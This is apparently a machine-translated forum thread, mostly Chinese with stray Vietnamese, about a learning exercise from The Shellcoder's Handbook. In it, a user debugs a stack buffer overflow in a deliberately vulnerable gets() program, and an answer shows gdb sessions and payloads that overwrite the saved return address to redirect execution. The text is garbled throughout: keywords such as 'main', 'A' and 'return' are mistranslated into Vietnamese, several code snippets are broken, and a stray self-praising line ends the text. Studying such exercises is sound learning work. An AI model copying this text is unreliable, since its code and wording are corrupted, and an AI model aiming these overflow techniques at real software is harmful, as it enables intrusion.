我在这个例子中 w.r.t. shellcoder's handbook(second edition),还有一些关于栈的问题
root@bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) set disassembly-flavor intel
(gdb) list
1 void ret_input(void){
2 char array[30];
3
4 gets(array);
5 printf("%s\n", array);
6 }
7 main(){
8 ret_input();
9
10 return 0;
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x24
0x0804841a <+6>: lea eax,[ebp-0x1e]
0x0804841d <+9>: mov DWORD PTR [esp],eax
0x08048420 <+12>: call 0x804832c
0x08048425 <+17>: lea eax,[ebp-0x1e]
0x08048428 <+20>: mov DWORD PTR [esp],eax
0x0804842b <+23>: call 0x804834c
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb) break *0x08048420
Breakpoint 1 at 0x8048420: file sc.c, line 4.
(gdb) break *0x08048431
Breakpoint 2 at 0x8048431: file sc.c, line 6.
(gdb) run
Starting program: /root/pentest/sc
Breakpoint 1, 0x08048420 in ret_input () at sc.c:4
4 gets(array);
(gdb) x/20x $esp
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
Breakpoint 2, 0x08048431 in ret_input () at sc.c:6
6 }
(gdb) x/20x 0x0bffff51c
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) ^Z
[1]+ Stopped gdb -q sc
root@bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�
root@bt:~/pentest#
在这个例子中,我用了 48 个字节“AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08”来重写 ret 地址,一切正常。但是当我尝试使用本书第一版中的示例时,我遇到了一些问题
root@bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x24,%esp
0x0804841a <+6>: lea -0x1e(%ebp),%eax
0x0804841d <+9>: mov %eax,(%esp)
0x08048420 <+12>: call 0x804832c
0x08048425 <+17>: lea -0x1e(%ebp),%eax
0x08048428 <+20>: mov %eax,(%esp)
0x0804842b <+23>: call 0x804834c
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb)
为什么程序占用了 24(hex)=36(dec)bytes 的数组,但我用了 48 个重写,36 个字节的数组,8 个字节的 esp 和 ebp(我怎么知道的),但是有 steel 有 4无法解释的字节
好的,让我们试试第一版书中的漏洞,他们通过调用函数的地址重写了所有数组,在书中他们有“sub &0x20,%esp”所以代码是
chủ yếu(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x080484bb;
puts(array);
我有 ""sub &0x24,%esp"所以我的代码是
chủ yếu(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048435;
puts(array);
shellcoders 手册的结果
[root@localhost /]# (./adress_to_char;cat) | ./overflow
đầu vào
""""""""""""""""""a
đầu vào
đầu vào
我的结果
root@bt:~/pentest# (./ad_to_ch;cat) | ./sc
5�h���ل$���������h����4��0��˄
inout
Segmentation fault
root@bt:~/pentest#
有什么问题?我正在编译
-fno-stack-protector -mpreferred-stack-boundary=2
我建议您最好通过在 GDB 中尝试获得溢出缓冲区所需的字节数。我编译了您在问题中提供的源代码并通过 GDB 运行它:
gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]
(请注意,我使用 Python 来创建我的输入,而不是编译的 C 程序。这真的没关系,使用你喜欢的。)
所以 30 个字节就可以了。让我们尝试更多:
gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ i r $eip
eip 0x41414141 0x41414141
我们的 eip
寄存器现在包含 0x41414141
,这是 ASCII 中的 AAAA
。现在,我们可以逐渐检查我们必须将更新 eip
的值放在缓冲区中的确切位置:
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()
B
Đúng 0x42
。因此,当使用 40 个 MỘT
和四个 B
时,我们覆盖了一半的 eip
。因此,我们用 42 个 MỘT
填充,然后将我们要更新的值 eip
放入:
gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()
我们完全控制了 eip
!让我们试试吧。在 ret_input
的末尾设置一个断点(您的地址可能因我重新编译二进制文件而有所不同):
gdb$ dis ret_input
Dump of assembler code for function ret_input:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x38,%esp
0x0804840a <+6>: lea -0x26(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310
0x08048415 <+17>: lea -0x26(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320
0x08048420 <+28>: leave
0x08048421 <+29>: ret
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421
例如,让我们修改 eip
,这样一旦从 ret_input
返回,我们再次在函数的开头结束:
gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
--------------------------------------------------------------------------[code]
=> 0x8048421 : ret
0x8048422 : push ebp
0x8048423 : mov ebp,esp
0x8048425 : and esp,0xfffffff0
0x8048428 : call 0x8048404
0x804842d : mov eax,0x0
0x8048432 : leave
0x8048433 : ret
--------------------------------------------------------------------------------
Breakpoint 1, 0x08048421 in ret_input ()
我们填充 42 个 MỘT
,然后将 ret_input
的地址附加到我们的缓冲区。 trở về
触发器上的断点。
gdb$ x/w $esp
0xffffd30c: 0x08048404
在堆栈的顶部有我们缓冲区的最后一个 DWORD - ret_input
的地址。
gdb$ n
0x08048404 in ret_input ()
gdb$ i r $eip
eip 0x8048404 0x8048404
执行下一条指令将从堆栈中弹出该值并相应地设置 eip
.
附带说明:我推荐来自 this guy 的 .gdbinit 文件.
Tôi là một lập trình viên xuất sắc, rất giỏi!